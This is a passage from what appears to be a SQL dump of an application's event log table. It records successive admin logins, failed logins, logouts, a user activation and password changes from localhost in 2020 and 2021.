TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1005,'2020-01-02 14:49:05','USER_LOGIN',1,'2020-01-02 18:49:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x710','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1006,'2020-01-02 16:44:11','USER_LOGIN_FAILED',1,'2020-01-02 20:44:11',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1007,'2020-01-02 16:44:14','USER_LOGIN',1,'2020-01-02 20:44:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1008,'2020-01-02 18:54:45','USER_LOGIN_FAILED',1,'2020-01-02 22:54:45',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1009,'2020-01-02 18:54:48','USER_LOGIN',1,'2020-01-02 22:54:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1010,'2020-01-03 09:22:02','USER_LOGIN_FAILED',1,'2020-01-03 13:22:02',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1011,'2020-01-03 09:22:06','USER_LOGIN',1,'2020-01-03 13:22:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1012,'2020-01-03 11:56:30','USER_LOGIN',1,'2020-01-03 15:56:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1013,'2020-01-04 13:44:25','USER_LOGIN_FAILED',1,'2020-01-04 17:44:25',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1014,'2020-01-04 13:44:28','USER_LOGIN',1,'2020-01-04 17:44:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1015,'2020-01-05 19:36:34','USER_LOGIN_FAILED',1,'2020-01-05 23:36:34',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1016,'2020-01-05 19:36:39','USER_LOGIN',1,'2020-01-05 23:36:39',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1017,'2020-01-06 01:12:23','USER_LOGIN_FAILED',1,'2020-01-06 05:12:23',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1018,'2020-01-06 01:12:25','USER_LOGIN',1,'2020-01-06 05:12:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1019,'2020-01-06 10:33:33','USER_LOGIN',1,'2020-01-06 14:33:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1020,'2020-01-06 13:59:58','USER_LOGIN',1,'2020-01-06 17:59:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1021,'2020-01-06 16:08:41','USER_LOGIN',1,'2020-01-06 20:08:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1022,'2020-01-07 13:19:13','USER_LOGIN',1,'2020-01-07 17:19:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1023,'2020-01-07 15:06:53','USER_LOGIN_FAILED',1,'2020-01-07 19:06:53',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1024,'2020-01-07 15:06:59','USER_LOGIN',1,'2020-01-07 19:06:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1025,'2020-01-07 16:21:53','USER_LOGIN_FAILED',1,'2020-01-07 20:21:53',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1026,'2020-01-07 16:21:56','USER_LOGIN',1,'2020-01-07 20:21:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1027,'2020-01-07 17:46:46','USER_LOGIN',1,'2020-01-07 21:46:46',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1028,'2020-01-08 01:31:40','USER_LOGIN',1,'2020-01-08 05:31:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1029,'2020-01-08 15:32:34','USER_LOGIN_FAILED',1,'2020-01-08 19:32:34',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1030,'2020-01-08 15:32:38','USER_LOGIN',1,'2020-01-08 19:32:38',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1031,'2020-01-09 15:59:02','USER_LOGIN',1,'2020-01-09 19:59:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1032,'2020-01-09 21:33:47','USER_LOGIN',1,'2020-01-10 01:33:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1033,'2020-01-10 00:42:07','USER_LOGIN',1,'2020-01-10 04:42:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1034,'2020-01-10 22:18:15','USER_LOGIN',1,'2020-01-11 02:18:15',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1035,'2020-01-11 13:11:59','USER_LOGIN',1,'2020-01-11 17:11:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1036,'2020-01-12 20:13:37','USER_LOGIN',1,'2020-01-13 00:13:37',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1037,'2020-01-12 20:58:27','USER_LOGIN',1,'2020-01-13 00:58:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1038,'2020-01-13 03:35:56','USER_LOGIN',1,'2020-01-13 07:35:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1039,'2020-01-13 10:37:51','USER_LOGIN_FAILED',1,'2020-01-13 14:37:51',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1040,'2020-01-13 10:37:55','USER_LOGIN',1,'2020-01-13 14:37:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1041,'2020-01-13 14:34:55','USER_LOGIN_FAILED',1,'2020-01-13 18:34:55',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1042,'2020-01-13 14:34:58','USER_LOGIN',1,'2020-01-13 18:34:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1043,'2020-01-15 10:28:04','USER_LOGIN_FAILED',1,'2020-01-15 14:28:04',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1044,'2020-01-15 10:28:07','USER_LOGIN',1,'2020-01-15 14:28:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1045,'2020-01-15 11:49:56','USER_LOGIN_FAILED',1,'2020-01-15 15:49:56',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1046,'2020-01-15 11:49:58','USER_LOGIN',1,'2020-01-15 15:49:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1047,'2020-01-15 13:35:01','USER_LOGIN_FAILED',1,'2020-01-15 17:35:01',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1048,'2020-01-15 13:35:04','USER_LOGIN',1,'2020-01-15 17:35:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1049,'2020-01-15 14:41:15','USER_LOGIN_FAILED',1,'2020-01-15 18:41:15',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1050,'2020-01-15 14:41:18','USER_LOGIN',1,'2020-01-15 18:41:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1051,'2020-01-15 18:14:40','USER_LOGIN',1,'2020-01-15 22:14:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1052,'2020-01-15 20:03:35','USER_LOGIN',1,'2020-01-16 00:03:35',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1053,'2020-01-15 20:41:56','USER_LOGIN',1,'2020-01-16 00:41:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1054,'2020-01-16 01:01:22','USER_LOGIN',1,'2020-01-16 02:01:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1055,'2020-01-16 15:43:23','USER_LOGIN',1,'2020-01-16 16:43:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1056,'2020-01-16 15:44:42','USER_ENABLEDISABLE',1,'2020-01-16 16:44:42',12,'User aboston activated','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1057,'2020-01-16 17:01:27','USER_LOGIN',1,'2020-01-16 18:01:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1058,'2020-01-17 09:34:03','USER_LOGIN',1,'2020-01-17 10:34:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1059,'2020-01-18 15:17:00','USER_LOGIN',1,'2020-01-18 16:17:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x899','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1060,'2020-01-18 18:32:21','USER_LOGIN',1,'2020-01-18 19:32:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x672','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1061,'2020-01-19 13:20:27','USER_LOGIN_FAILED',1,'2020-01-19 14:20:27',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1062,'2020-01-19 13:20:30','USER_LOGIN',1,'2020-01-19 14:20:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1063,'2020-01-19 17:05:23','USER_LOGIN',1,'2020-01-19 18:05:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1064,'2020-01-19 19:29:37','USER_LOGIN',1,'2020-01-19 20:29:37',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1065,'2020-01-20 00:19:16','USER_LOGIN_FAILED',1,'2020-01-20 01:19:16',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1066,'2020-01-20 00:19:19','USER_LOGIN',1,'2020-01-20 01:19:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1067,'2020-01-20 10:20:00','USER_LOGIN',1,'2020-01-20 11:20:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1068,'2020-01-20 13:29:21','USER_LOGIN',1,'2020-01-20 14:29:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1069,'2020-01-20 16:20:00','USER_LOGIN',1,'2020-01-20 17:20:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1070,'2020-01-20 22:52:22','USER_LOGIN_FAILED',1,'2020-01-20 23:52:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1071,'2020-01-20 22:52:25','USER_LOGIN',1,'2020-01-20 23:52:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1072,'2020-01-20 23:43:37','USER_LOGIN_FAILED',1,'2020-01-21 00:43:37',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1073,'2020-01-20 23:43:41','USER_LOGIN',1,'2020-01-21 00:43:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x643','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1074,'2020-01-21 09:21:05','USER_LOGIN_FAILED',1,'2020-01-21 10:21:05',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1075,'2020-01-21 09:21:09','USER_LOGIN',1,'2020-01-21 10:21:09',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x870','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1076,'2020-01-21 09:33:53','USER_LOGOUT',1,'2020-01-21 10:33:53',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1077,'2020-01-21 09:35:27','USER_LOGIN',1,'2020-01-21 10:35:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1078,'2020-01-21 09:35:52','USER_LOGOUT',1,'2020-01-21 10:35:52',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1079,'2020-01-21 09:38:41','USER_LOGIN',1,'2020-01-21 10:38:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1080,'2021-04-15 10:38:52','USER_NEW_PASSWORD',1,'2021-04-15 07:38:52',12,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1081,'2021-04-15 10:38:52','USER_MODIFY',1,'2021-04-15 07:38:52',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1082,'2021-04-15 10:40:22','USER_NEW_PASSWORD',1,'2021-04-15 07:40:22',12,'Password change for zzeceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1083,'2021-04-15 10:40:22','USER_MODIFY',1,'2021-04-15 07:40:22',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 